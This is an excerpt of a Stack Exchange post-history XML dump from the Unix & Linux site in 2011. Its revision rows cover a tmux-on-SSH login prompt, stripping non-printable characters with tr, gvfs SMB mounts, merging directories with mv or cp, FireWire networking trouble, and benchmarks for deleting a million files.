  <row Id="23660" PostHistoryTypeId="5" PostId="9884" RevisionGUID="380c956d-ea7e-446d-ac2f-4b62ce1a71a3" CreationDate="2011-03-22T15:43:49.453" UserId="4821" Comment="Corrected error in script" Text="_I previously advised setting `PermitUserEnvironment yes` and adding an environment variable in your ~/.ssh/environment until [Eli Heady](http://unix.stackexchange.com/users/1323/eli-heady) chipped in with a better suggestion in the comments below._&#xD;&#xA;&#xD;&#xA;Open your `.zlogin` (bash: `.bash_profile` etc.) and put the following:&#xD;&#xA;&#xD;&#xA;    if [[ $SSH_CONNECTION != &quot;&quot; &amp;&amp; &quot;$MY_SSH_CONNECTION != &quot;yes&quot; ]]; then&#xD;&#xA;        while true; do&#xD;&#xA;            echo -n &quot;Do you want to attach to a tmux session? [y/n]&quot;&#xD;&#xA;            read yn&#xD;&#xA;            case $yn in&#xD;&#xA;                [Yy]* ) MY_SSH_CONNECTION=&quot;yes&quot; tmux attach; break;;&#xD;&#xA;                [Nn]* ) break;;&#xD;&#xA;                * ) echo &quot;Please answer y/n&quot;;;&#xD;&#xA;            esac&#xD;&#xA;        done&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Inspiration taken from [How do I prompt for input in a Linux shell script?](http://stackoverflow.com/questions/226703/how-do-i-prompt-for-input-in-a-linux-shell-script)&#xD;&#xA;&#xD;&#xA;_Note that I've used the `.zlogin` file but you could use your `.zshrc` file but I like to keep my dotfiles tidy and it separates it so I can use it on other machines._&#xD;&#xA;&#xD;&#xA;Replace the question with something appropriate for yourself and replace `MY_SSH_CONNECTION=&quot;yes&quot; tmux attach` with whatever you wish to run at that point.&#xD;&#xA;&#xD;&#xA;Note how the script sets `MY_SSH_CONNECTION=&quot;yes&quot;` before `tmux attach` to pass it through to tmux as it also will be opening a shell that will access the very same script above and will prevent any recursion.&#xD;&#xA;" />
  <row Id="23661" PostHistoryTypeId="2" PostId="9893" RevisionGUID="737d2b59-3fe0-4fcb-b075-d4ec47dd8ec9" CreationDate="2011-03-22T15:52:30.410" UserId="5960" Text="For OS X look for your share name under /Volumes (it may have a &quot;-digit&quot; at the end if you have many mounts with the same name). The same goes for mounted CD/DVDs and disk images." />
  <row Id="23662" PostHistoryTypeId="5" PostId="9882" RevisionGUID="2e40a392-28f5-4e34-b53c-66cdb6a49a64" CreationDate="2011-03-22T15:55:51.887" UserId="2180" Comment="fix typo" Text="'tr' can be used for this. Try the following:&#xD;&#xA;&#xD;&#xA;    tr -cd '\11\12\15\40-\176' &lt; raw.php&#xD;&#xA;&#xD;&#xA;This deletes any characters that aren't one of the ones listed. The \NNN notation represents the character in octal, this lets us get tab, newline, carriage return in addition to the other characters." />
  <row Id="23663" PostHistoryTypeId="2" PostId="9894" RevisionGUID="e4d4aaef-88cf-4c16-a7ed-3c81eb2825c8" CreationDate="2011-03-22T16:04:12.827" UserId="-1" Text="" />
  <row Id="23664" PostHistoryTypeId="2" PostId="9895" RevisionGUID="73eb56e6-6613-4fa6-a18d-8f85f6a7f8e2" CreationDate="2011-03-22T16:04:12.827" UserId="-1" Text="" />
  <row Id="23665" PostHistoryTypeId="2" PostId="9896" RevisionGUID="efdad07c-f5b9-4a1d-8d9c-5bbbf6fabe71" CreationDate="2011-03-22T16:04:52.000" UserId="-1" Text="" />
  <row Id="23666" PostHistoryTypeId="2" PostId="9897" RevisionGUID="ce64bab0-f17d-4b56-a3e0-904c08e64e30" CreationDate="2011-03-22T16:04:52.000" UserId="-1" Text="" />
  <row Id="23667" PostHistoryTypeId="2" PostId="9898" RevisionGUID="8d393892-1919-4631-aa68-f4aec2f51416" CreationDate="2011-03-22T16:08:42.127" UserId="3976" Text="While technically using Samba, Nautilus uses gvfs, which uses FUSE to mount the SMB share using libsmbclient, you aren't actually mounting the filesystem as you would with the `mount` command.  When you use Nautilus with SMB mounts, a background process `gvfsd-smb` is started.  You can access the mountpoint in ~/.gvfs/, where there's a directory in there with a name based on the mount settings you used to connect.&#xD;&#xA;&#xD;&#xA;Check out /proc/mounts to see the details of the gvfs-fuse-daemon's mountpoint." />
  <row Id="23668" PostHistoryTypeId="5" PostId="9882" RevisionGUID="aa6b7282-d1cd-4aab-bf82-8fa9cca7d7a1" CreationDate="2011-03-22T16:13:46.327" UserId="2180" Comment="Add bug workaround" Text="'tr' can be used for this. Normally, you could do the following:&#xD;&#xA;&#xD;&#xA;    tr -cd '\11\12\15\40-\176' &lt; raw.php&#xD;&#xA;&#xD;&#xA;This deletes any characters that aren't one of the ones listed. The \NNN notation represents the character in octal, this lets us get tab, newline, carriage return in addition to the other characters.&#xD;&#xA;&#xD;&#xA;Busybox's `tr` currently has a bug when it comes to using octal character representation and ranges. Instead, this might cover you:&#xD;&#xA;&#xD;&#xA;    tr -cd '[:alnum:][:punct:][:space:]' &lt; raw.php" />
  <row Id="23669" PostHistoryTypeId="2" PostId="9899" RevisionGUID="a0b7b64d-eb7b-49d7-ac97-3418f7ff5be4" CreationDate="2011-03-22T16:37:08.217" UserId="258" Text="I have a ton of files and dirs in a subdirectory I want to move to the parent directory. There are already some files and dirs in the target directory which need to be overwritten. Files that are only present in the target should be left untouched. Can I force `mv`to do that? It (`mv * ..`) complains&#xD;&#xA;&#xD;&#xA;    mv: cannot move `xyz' to `../xyz': Directory not empty&#xD;&#xA;&#xD;&#xA;What am I missing?" />
  <row Id="23670" PostHistoryTypeId="1" PostId="9899" RevisionGUID="a0b7b64d-eb7b-49d7-ac97-3418f7ff5be4" CreationDate="2011-03-22T16:37:08.217" UserId="258" Text="How to overwrite target files with mv?" />
  <row Id="23671" PostHistoryTypeId="3" PostId="9899" RevisionGUID="a0b7b64d-eb7b-49d7-ac97-3418f7ff5be4" CreationDate="2011-03-22T16:37:08.217" UserId="258" Text="élinuxàébashàécommandölineàérenameà" />
  <row Id="23672" PostHistoryTypeId="2" PostId="9900" RevisionGUID="01ffc21b-2a14-41b6-8ab7-ed9516a04032" CreationDate="2011-03-21T18:50:45.287" UserDisplayName="user669947" Text="Hi all. I decided to connect my PC to the laptop via firewire. All interfaces are up, but no packets can be send/recieved.&#xD;&#xA;&#xD;&#xA;I'm using Linux Slackware64-current (kernel 2.6.37.4)&#xD;&#xA;Laptop (Dell Vostro 3700) has this adapter:&#xD;&#xA;&#xD;&#xA;    root@trium:~# lspci | grep 1394&#xD;&#xA;    14:00.3 FireWire (IEEE 1394): Ricoh Co Ltd FireWire Host Controller (rev 01)&#xD;&#xA;&#xD;&#xA;Old ieee1394 stack was removed in new kernels. thats why I use new:&#xD;&#xA;&#xD;&#xA;    root@trium:~# modprobe firewire-net&#xD;&#xA;    root@trium:~# lsmod | grep fire&#xD;&#xA;    firewire_net           12930  0 &#xD;&#xA;    firewire_ohci          27301  0 &#xD;&#xA;    firewire_core          51107  2 firewire_net,firewire_ohci&#xD;&#xA;&#xD;&#xA;dmesg shows:&#xD;&#xA;&#xD;&#xA;    firewire_net: firewire0: IPv4 over FireWire on device 47203fc0434fc000&#xD;&#xA;    firewire_net: max_rec 0 out of range&#xD;&#xA;    firewire_core: refreshed device fw0&#xD;&#xA;&#xD;&#xA;1st string is good, but the 2nd is strange for me. what does it mean? maybe it is the source of the problem?&#xD;&#xA;ok. lets configure the interface:&#xD;&#xA;&#xD;&#xA;    root@trium:~# ifconfig firewire0 192.168.1.2 netmask 255.255.255.0 up&#xD;&#xA;    root@trium:~# ifconfig&#xD;&#xA;    firewire0 Link encap:UNSPEC  HWaddr 47-20-3F-C0-43-4F-C0-00-00-00-00-00-00-00-00-00  &#xD;&#xA;              inet addr:192.168.1.2  Bcast:192.168.1.255  Mask:255.255.255.0&#xD;&#xA;              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;              RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:20 &#xD;&#xA;              RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&#xD;&#xA;    &#xD;&#xA;    lo        Link encap:Local Loopback  &#xD;&#xA;              inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;              inet6 addr: ::1/128 Scope:Host&#xD;&#xA;              UP LOOPBACK RUNNING  MTU:16436  Metric:1&#xD;&#xA;              RX packets:24 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:24 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:0 &#xD;&#xA;              RX bytes:2445 (2.3 KiB)  TX bytes:2445 (2.3 KiB)&#xD;&#xA;&#xD;&#xA;Same configuration steps were made on my PC. OS is the same. FireWire device - &#xD;&#xA;&#xD;&#xA;    05:06.0 FireWire (IEEE 1394): VIA Technologies, Inc. VT6306/7/8 [Fire II(M)] IEEE 1394 OHCI Controller (rev 46)&#xD;&#xA;&#xD;&#xA;dmesg showed:&#xD;&#xA;&#xD;&#xA;    firewire_net: firewire0: IPv4 over FireWire on device 4d5a900003000000&#xD;&#xA;    firewire_net: max_rec 0 out of range&#xD;&#xA;    firewire_core: refreshed device fw0&#xD;&#xA;&#xD;&#xA;interface configuration -&#xD;&#xA;&#xD;&#xA;    root@bium:~# ifconfig firewire0 192.168.1.3 netmask 255.255.255.0&#xD;&#xA;    root@bium:~# ifconfig&#xD;&#xA;    firewire0 Link encap:UNSPEC  HWaddr 4D-5A-90-00-03-00-00-00-00-00-00-00-00-00-00-00  &#xD;&#xA;              inet addr:192.168.1.3  Bcast:192.168.1.255  Mask:255.255.255.0&#xD;&#xA;              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;              RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:20 &#xD;&#xA;              RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&#xD;&#xA;    &#xD;&#xA;    lo        Link encap:Local Loopback  &#xD;&#xA;              inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;              inet6 addr: ::1/128 Scope:Host&#xD;&#xA;              UP LOOPBACK RUNNING  MTU:16436  Metric:1&#xD;&#xA;              RX packets:107 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:107 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:0 &#xD;&#xA;              RX bytes:70120 (68.4 KiB)  TX bytes:70120 (68.4 KiB)&#xD;&#xA;&#xD;&#xA;Now lets ping PC from laptop - &#xD;&#xA;&#xD;&#xA;    root@trium:~# ping -c 3 192.168.1.3&#xD;&#xA;    PING 192.168.1.3 (192.168.1.3) 56(84) bytes of data.&#xD;&#xA;    From 192.168.1.2 icmp_seq=1 Destination Host Unreachable&#xD;&#xA;    From 192.168.1.2 icmp_seq=2 Destination Host Unreachable&#xD;&#xA;    From 192.168.1.2 icmp_seq=3 Destination Host Unreachable&#xD;&#xA;    &#xD;&#xA;    --- 192.168.1.3 ping statistics ---&#xD;&#xA;    3 packets transmitted, 0 received, +3 errors, 100% packet loss, time 1999ms&#xD;&#xA;    pipe 3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Yes. the cable is connected. Laptop has 4pin port, and PC has 6pin port. AFAIK 6pin uses two pins for power supplyment. I have the coresponding cable, so i don't think that the problem is here.&#xD;&#xA;&#xD;&#xA;thats all. thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23673" PostHistoryTypeId="1" PostId="9900" RevisionGUID="01ffc21b-2a14-41b6-8ab7-ed9516a04032" CreationDate="2011-03-21T18:50:45.287" UserDisplayName="user669947" Text="Network via ieee1394 is unreachable (PC and laptop)" />
  <row Id="23674" PostHistoryTypeId="3" PostId="9900" RevisionGUID="01ffc21b-2a14-41b6-8ab7-ed9516a04032" CreationDate="2011-03-21T18:50:45.287" UserDisplayName="user669947" Text="énetworkingàépingàéfirewireà" />
  <row Id="23675" PostHistoryTypeId="17" PostId="9900" RevisionGUID="c805b0fa-17ae-41fd-81fb-f144f8110166" CreationDate="2011-03-22T16:43:41.150" UserId="-1" Comment="from http://stackoverflow.com/questions/5382195/network-via-ieee1394-is-unreachable-pc-and-laptop" Text="" />
  <row Id="23676" PostHistoryTypeId="2" PostId="9901" RevisionGUID="52cb55c6-b5f6-4222-97a3-18fbc30ec2f0" CreationDate="2011-03-22T16:54:32.327" UserId="3041" Text="you should consider to stick to the command line, because a) most servers dont even have a GUI installed, and b) all GUIs are kinds slow to use over networks.&#xD;&#xA;&#xD;&#xA;that been said, i would suggest to have a look at VNC. there are native clients for windows and servers for linux, so you would not have to set up X11 on your windows box." />
  <row Id="23677" PostHistoryTypeId="2" PostId="9902" RevisionGUID="71331e6f-3b79-430e-81f8-c1ddbde7dc31" CreationDate="2011-03-22T17:01:57.320" UserId="872" Text="You will have to copy them to the destinate and then delete the source, using the commands `cp -r * ..` followed by `rm -rf *`.&#xD;&#xA;&#xD;&#xA;I don't think you can &quot;merge&quot; directories using `mv`." />
  <row Id="23678" PostHistoryTypeId="5" PostId="9902" RevisionGUID="fa49e7eb-f3ce-4785-8777-f9209822c172" CreationDate="2011-03-22T17:09:11.793" UserId="872" Comment="added 2 characters in body" Text="You will have to copy them to the destination and then delete the source, using the commands `cp -r * ..` followed by `rm -rf *`.&#xD;&#xA;&#xD;&#xA;I don't think you can &quot;merge&quot; directories using `mv`." />
  <row Id="23682" PostHistoryTypeId="2" PostId="9904" RevisionGUID="a0487535-870d-413f-aa07-5ae77a1564c2" CreationDate="2011-03-22T17:31:27.447" UserId="5763" Text="As you had already said, it IS under &quot;Processor Types and Features&quot;.&#xD;&#xA;&#xD;&#xA;You are compiling Gentoo's hardened kernel source, so the code would have undergone many patches.&#xD;&#xA;&#xD;&#xA;A quick search in google returned this : [Gentoo kernel VDSO][1]. It looks like gentoo has it disabled even several versions before.&#xD;&#xA;&#xD;&#xA;why dont you dowload directly from kernel.org ? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sources.gentoo.org/cgi-bin/viewvc.cgi/linux-patches/hardened/2.6/tags/2.6.28-6/4445_disable-compat_vdso.patch?revision=1528&amp;view=markup" />
  <row Id="23683" PostHistoryTypeId="25" PostId="9891" RevisionGUID="b6960611-9bee-40d6-89cf-92dca74a22bf" CreationDate="2011-03-22T17:31:31.010" Comment="http://twitter.com/#!/StackUnix/status/50248249730269184" />
  <row Id="23684" PostHistoryTypeId="6" PostId="9891" RevisionGUID="f455dd9e-cfac-473a-af91-25188ac1b281" CreationDate="2011-03-22T17:40:04.597" UserId="2421" Comment="edited tags" Text="élinuxàéshellàéosxàésambaàéfileösharingà" />
  <row Id="23685" PostHistoryTypeId="5" PostId="9798" RevisionGUID="296a8d92-8511-4f02-8785-a00ef80dfa0b" CreationDate="2011-03-22T18:12:02.877" UserId="2343" Comment="added 2076 characters in body" Text="Faux pas: The &quot;fast&quot; method I mention below, is not 60 times faster than the slow one. It is 30 times faster. I'll blame the mistake on the hour (3AM is not my best time of day for clear thinking :)..     &#xD;&#xA;&#xD;&#xA;Update: I've added a summary of test times (below).  &#xD;&#xA;There seem to be two issues involved with the speed factor:  &#xD;&#xA;&#xD;&#xA;  * The choice of command used (Time comparisons shown below)  &#xD;&#xA;  * The nature of large numbers of files in a directory... It seems that &quot;big is bad&quot;. Things get disoprportionately slower as the numbers increase..  &#xD;&#xA;  &#xD;&#xA;All the tests have been done with 1 million files.  &#xD;&#xA;(real, user, and sys times are in the test scripts)  &#xD;&#xA;The test scripts can be found at [paste.ubuntu.com](http://paste.ubuntu.com/583908/)&#xD;&#xA;  &#xD;&#xA;    #&#xD;&#xA;    # 1 million files           &#xD;&#xA;    # ===============&#xD;&#xA;    #&#xD;&#xA;    #  |time   |new dir   |Files added in  ASCENDING order  &#xD;&#xA;    #  +----   +-------   +------------------------------------------------- &#xD;&#xA;    #   real    01m 33s    Add files only (ASCENDING order) ...just for ref.&#xD;&#xA;    #   real    02m 04s    Add files, and make 'rm' source (ASCENDING order) &#xD;&#xA;    #                      Add files, and make 'rm' source (DESCENDING order) &#xD;&#xA;    #   real    00m 01s    Count of filenames&#xD;&#xA;    #   real    00m 01s    List of filenames, one per line&#xD;&#xA;    #   ----    -------    ------&#xD;&#xA;    #   real    01m 34s    'rm -rf dir'&#xD;&#xA;    #   real    01m 33s    'rm filename' via rm1000filesPerCall&#xD;&#xA;    #   real    01m 40s    'rm filename' via  ASCENDING algorithm&#xD;&#xA;    #   real    01m 46s    'rm filename' via DESCENDING algorithm&#xD;&#xA;    #   real    21m 14s    'rm -r dir'&#xD;&#xA;    #   real    21m 27s    'find  dir -name &quot;hello*&quot; -print0 | xargs -0 -n 1000 rm'&#xD;&#xA;    #   real    21m 56s    'find  dir -name &quot;hello*&quot; -delete'&#xD;&#xA;    #   real    23m 09s    'find  dir -name &quot;hello*&quot; -print0 | xargs -0 -P 0 rm'&#xD;&#xA;    #   real    39m 44s    'rm filename' (one file per rm call) ASCENDING&#xD;&#xA;    #   real    47m 26s    'rm filename' (one file per rm call) UNSORTED&#xD;&#xA;    #                                                       &#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;I recently created and deleted **10** million empty test files. &#xD;&#xA;Deleting files on a name by name basis (ie `rm filename`), I found out the hard way that there is a **huge** time difference between 2 different methods...  &#xD;&#xA;&#xD;&#xA;Both methods use the exact same `rm filename` command.  &#xD;&#xA;The filnames are provide via a 'feeder file' into a `while read` loop..  &#xD;&#xA;The feeder file is the output of `ls -1 -f`   &#xD;&#xA;The methods are identical in all reaspects, except for one thing: &#xD;&#xA;&#xD;&#xA; * the **slow** method uses the unsorted feeder file direct from `ls -1 -f`&#xD;&#xA; * the **fast** method uses a sorted version of that same unsorted file&#xD;&#xA;&#xD;&#xA;I'm not sure whether the sorting is ths issue here, or is it perhaps that the sorted feeder file just happens to match the sequence in which the files were created (I used a simple ascending integer algorithm)   &#xD;&#xA;&#xD;&#xA;For 1 million files, the *fast* `rm filename` method is **60** times faster than the *slow* method... again, I don't know if this is a &quot;sorting&quot; issue, or a behind-the-scenes hash table issue...  I suspect it is not a simple sorting issue, because why would `ls -1 -f` intentionally give me an **unsort** listing of a freshly added &quot;sorted&quot; sequence of filenames...  &#xD;&#xA;&#xD;&#xA;I'm just wondering what is going on here, so it doesn't take me days (yes days) to delete the next 10 million files :) .... I say &quot;days&quot; because I tried so many alternatives, and the times involved increase disproportionatly to the numberof file involved ..  so I've only tested **1** million in detail&#xD;&#xA;&#xD;&#xA;BTW: Deleting the files via the &quot;sorted list&quot; of names is actually faster than `rm -rf` by a factor of 2.  &#xD;&#xA;and: `rm -r` was 30 times slower than the &quot;sorted list&quot; method   &#xD;&#xA;&#xD;&#xA;... but is &quot;sorted&quot; the issue here? or is it more related to a hashing(or whatever) method of storage used by ext4? &#xD;&#xA;&#xD;&#xA;The thing which quite puzzles me is that each call to `rm filename` is unrelated to the previous one .. (well, at least it is that way from the 'bash' perspective)&#xD;&#xA;&#xD;&#xA;I'm using Ubuntu / bash / 'ext4' / SATA II drive.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="23686" PostHistoryTypeId="5" PostId="9798" RevisionGUID="a65f9668-4a79-4e2d-94ee-eb4c64df3273" CreationDate="2011-03-22T18:26:07.513" UserId="2343" Comment="added 83 characters in body" Text="Faux pas: The &quot;fast&quot; method I mention below, is not 60 times faster than the slow one. It is 30 times faster. I'll blame the mistake on the hour (3AM is not my best time of day for clear thinking :)..     &#xD;&#xA;&#xD;&#xA;Update: I've added a summary of test times (below).  &#xD;&#xA;There seem to be two issues involved with the speed factor:  &#xD;&#xA;&#xD;&#xA;  * The choice of command used (Time comparisons shown below)  &#xD;&#xA;  * The nature of large numbers of files in a directory... It seems that &quot;big is bad&quot;. Things get disoprportionately slower as the numbers increase..  &#xD;&#xA;  &#xD;&#xA;All the tests have been done with 1 million files.  &#xD;&#xA;(real, user, and sys times are in the test scripts)  &#xD;&#xA;The test scripts can be found at [paste.ubuntu.com](http://paste.ubuntu.com/583908/)&#xD;&#xA;  &#xD;&#xA;    #&#xD;&#xA;    # 1 million files           &#xD;&#xA;    # ===============&#xD;&#xA;    #&#xD;&#xA;    #  |time   |new dir   |Files added in  ASCENDING order  &#xD;&#xA;    #  +----   +-------   +------------------------------------------------- &#xD;&#xA;    #   real    01m 33s    Add files only (ASCENDING order) ...just for ref.&#xD;&#xA;    #   real    02m 04s    Add files, and make 'rm' source (ASCENDING order) &#xD;&#xA;    #                      Add files, and make 'rm' source (DESCENDING order) &#xD;&#xA;    #   real    00m 01s    Count of filenames&#xD;&#xA;    #   real    00m 01s    List of filenames, one per line&#xD;&#xA;    #   ----    -------    ------&#xD;&#xA;    #   real    01m 34s    'rm -rf dir'&#xD;&#xA;    #   real    01m 33s    'rm filename' via rm1000filesPerCall   (1000 files per 'rm' call)&#xD;&#xA;    #   real    01m 40s    'rm filename' via  ASCENDING algorithm (1000 files per 'rm' call)&#xD;&#xA;    #   real    01m 46s    'rm filename' via DESCENDING algorithm (1000 files per 'rm' call)&#xD;&#xA;    #   real    21m 14s    'rm -r dir'&#xD;&#xA;    #   real    21m 27s    'find  dir -name &quot;hello*&quot; -print0 | xargs -0 -n 1000 rm'&#xD;&#xA;    #   real    21m 56s    'find  dir -name &quot;hello*&quot; -delete'&#xD;&#xA;    #   real    23m 09s    'find  dir -name &quot;hello*&quot; -print0 | xargs -0 -P 0 rm'&#xD;&#xA;    #   real    39m 44s    'rm filename' (one file per rm call) ASCENDING&#xD;&#xA;    #   real    47m 26s    'rm filename' (one file per rm call) UNSORTED&#xD;&#xA;    #                                                       &#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;I recently created and deleted **10** million empty test files. &#xD;&#xA;Deleting files on a name by name basis (ie `rm filename`), I found out the hard way that there is a **huge** time difference between 2 different methods...  &#xD;&#xA;&#xD;&#xA;Both methods use the exact same `rm filename` command.  &#xD;&#xA;The filnames are provide via a 'feeder file' into a `while read` loop..  &#xD;&#xA;The feeder file is the output of `ls -1 -f`   &#xD;&#xA;The methods are identical in all reaspects, except for one thing: &#xD;&#xA;&#xD;&#xA; * the **slow** method uses the unsorted feeder file direct from `ls -1 -f`&#xD;&#xA; * the **fast** method uses a sorted version of that same unsorted file&#xD;&#xA;&#xD;&#xA;I'm not sure whether the sorting is ths issue here, or is it perhaps that the sorted feeder file just happens to match the sequence in which the files were created (I used a simple ascending integer algorithm)   &#xD;&#xA;&#xD;&#xA;For 1 million files, the *fast* `rm filename` method is **60** times faster than the *slow* method... again, I don't know if this is a &quot;sorting&quot; issue, or a behind-the-scenes hash table issue...  I suspect it is not a simple sorting issue, because why would `ls -1 -f` intentionally give me an **unsort** listing of a freshly added &quot;sorted&quot; sequence of filenames...  &#xD;&#xA;&#xD;&#xA;I'm just wondering what is going on here, so it doesn't take me days (yes days) to delete the next 10 million files :) .... I say &quot;days&quot; because I tried so many alternatives, and the times involved increase disproportionatly to the numberof file involved ..  so I've only tested **1** million in detail&#xD;&#xA;&#xD;&#xA;BTW: Deleting the files via the &quot;sorted list&quot; of names is actually faster than `rm -rf` by a factor of 2.  &#xD;&#xA;and: `rm -r` was 30 times slower than the &quot;sorted list&quot; method   &#xD;&#xA;&#xD;&#xA;... but is &quot;sorted&quot; the issue here? or is it more related to a hashing(or whatever) method of storage used by ext4? &#xD;&#xA;&#xD;&#xA;The thing which quite puzzles me is that each call to `rm filename` is unrelated to the previous one .. (well, at least it is that way from the 'bash' perspective)&#xD;&#xA;&#xD;&#xA;I'm using Ubuntu / bash / 'ext4' / SATA II drive.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="23687" PostHistoryTypeId="2" PostId="9905" RevisionGUID="e9a5ccea-c61b-47b1-873b-720440b63859" CreationDate="2011-03-22T18:54:59.183" UserId="5965" Text="I have a server (SUSE 11.5) that has two disks. There is only one volume group (vg01). How do I determine the physical device on which that vg exists? " />
  <row Id="23688" PostHistoryTypeId="1" PostId="9905" RevisionGUID="e9a5ccea-c61b-47b1-873b-720440b63859" CreationDate="2011-03-22T18:54:59.183" UserId="5965" Text="How do I determine LVM mapping on a physical device?" />
  <row Id="23689" PostHistoryTypeId="3" PostId="9905" RevisionGUID="e9a5ccea-c61b-47b1-873b-720440b63859" CreationDate="2011-03-22T18:54:59.183" UserId="5965" Text="élinuxàélvmàésuseà" />
  <row Id="23690" PostHistoryTypeId="5" PostId="9798" RevisionGUID="3b8aadb6-9497-4f7c-bd49-aba30b3b5e77" CreationDate="2011-03-22T19:00:14.020" UserId="2343" Comment="added 296 characters in body" Text="Faux pas: The &quot;fast&quot; method I mention below, is not 60 times faster than the slow one. It is 30 times faster. I'll blame the mistake on the hour (3AM is not my best time of day for clear thinking :)..     &#xD;&#xA;&#xD;&#xA;Update: I've added a summary of test times (below).  &#xD;&#xA;There seem to be two issues involved with the speed factor:  &#xD;&#xA;&#xD;&#xA;  * The choice of command used (Time comparisons shown below)  &#xD;&#xA;  * The nature of large numbers of files in a directory... It seems that &quot;big is bad&quot;. Things get disoprportionately slower as the numbers increase..  &#xD;&#xA;  &#xD;&#xA;All the tests have been done with 1 million files.  &#xD;&#xA;(real, user, and sys times are in the test scripts)  &#xD;&#xA;The test scripts can be found at [paste.ubuntu.com](http://paste.ubuntu.com/583908/)&#xD;&#xA;  &#xD;&#xA;    #&#xD;&#xA;    # 1 million files           &#xD;&#xA;    # ===============&#xD;&#xA;    #&#xD;&#xA;    #  |time   |new dir   |Files added in  ASCENDING order  &#xD;&#xA;    #  +----   +-------   +------------------------------------------------- &#xD;&#xA;    #   real    01m 33s    Add files only (ASCENDING order) ...just for ref.&#xD;&#xA;    #   real    02m 04s    Add files, and make 'rm' source (ASCENDING order) &#xD;&#xA;    #                      Add files, and make 'rm' source (DESCENDING order) &#xD;&#xA;    #   real    00m 01s    Count of filenames&#xD;&#xA;    #   real    00m 01s    List of filenames, one per line&#xD;&#xA;    #   ----    -------    ------&#xD;&#xA;    #   real    01m 34s    'rm -rf dir'&#xD;&#xA;    #   real    01m 33s    'rm filename' via rm1000filesPerCall   (1000 files per 'rm' call)&#xD;&#xA;    #   real    01m 40s    'rm filename' via  ASCENDING algorithm (1000 files per 'rm' call)&#xD;&#xA;    #   real    01m 46s    'rm filename' via DESCENDING algorithm (1000 files per 'rm' call)&#xD;&#xA;    #   real    21m 14s    'rm -r dir'&#xD;&#xA;    #   real    21m 27s    'find  dir -name &quot;hello*&quot; -print0 | xargs -0 -n 1000 rm'&#xD;&#xA;    #   real    21m 56s    'find  dir -name &quot;hello*&quot; -delete'&#xD;&#xA;    #   real    23m 09s    'find  dir -name &quot;hello*&quot; -print0 | xargs -0 -P 0 rm'&#xD;&#xA;    #   real    39m 44s    'rm filename' (one file per rm call) ASCENDING&#xD;&#xA;    #   real    47m 26s    'rm filename' (one file per rm call) UNSORTED&#xD;&#xA;    #                                                       &#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;I recently created and deleted **10** million empty test files. &#xD;&#xA;Deleting files on a name by name basis (ie `rm filename`), I found out the hard way that there is a **huge** time difference between 2 different methods...  &#xD;&#xA;&#xD;&#xA;Both methods use the exact same `rm filename` command.  &#xD;&#xA;&#xD;&#xA;&gt; *Update: as it turns out, the commands were not exactly the same... One of them was sending 1000 filenames at a time to 'rm'... It was a shell brace-expansion issue where I thought each filename was being written to the feeder file on a line of its own, but actually it was 1000 per line*&#xD;&#xA;&#xD;&#xA;The filnames are provide via a 'feeder file' into a `while read` loop..  &#xD;&#xA;The feeder file is the output of `ls -1 -f`   &#xD;&#xA;The methods are identical in all reaspects, except for one thing: &#xD;&#xA;&#xD;&#xA; * the **slow** method uses the unsorted feeder file direct from `ls -1 -f`&#xD;&#xA; * the **fast** method uses a sorted version of that same unsorted file&#xD;&#xA;&#xD;&#xA;I'm not sure whether the sorting is ths issue here, or is it perhaps that the sorted feeder file just happens to match the sequence in which the files were created (I used a simple ascending integer algorithm)   &#xD;&#xA;&#xD;&#xA;For 1 million files, the *fast* `rm filename` method is **60** times faster than the *slow* method... again, I don't know if this is a &quot;sorting&quot; issue, or a behind-the-scenes hash table issue...  I suspect it is not a simple sorting issue, because why would `ls -1 -f` intentionally give me an **unsort** listing of a freshly added &quot;sorted&quot; sequence of filenames...  &#xD;&#xA;&#xD;&#xA;I'm just wondering what is going on here, so it doesn't take me days (yes days) to delete the next 10 million files :) .... I say &quot;days&quot; because I tried so many alternatives, and the times involved increase disproportionatly to the numberof file involved ..  so I've only tested **1** million in detail&#xD;&#xA;&#xD;&#xA;BTW: Deleting the files via the &quot;sorted list&quot; of names is actually faster than `rm -rf` by a factor of 2.  &#xD;&#xA;and: `rm -r` was 30 times slower than the &quot;sorted list&quot; method   &#xD;&#xA;&#xD;&#xA;... but is &quot;sorted&quot; the issue here? or is it more related to a hashing(or whatever) method of storage used by ext4? &#xD;&#xA;&#xD;&#xA;The thing which quite puzzles me is that each call to `rm filename` is unrelated to the previous one .. (well, at least it is that way from the 'bash' perspective)&#xD;&#xA;&#xD;&#xA;I'm using Ubuntu / bash / 'ext4' / SATA II drive.  &#xD;&#xA;&#xD;&#xA;" />
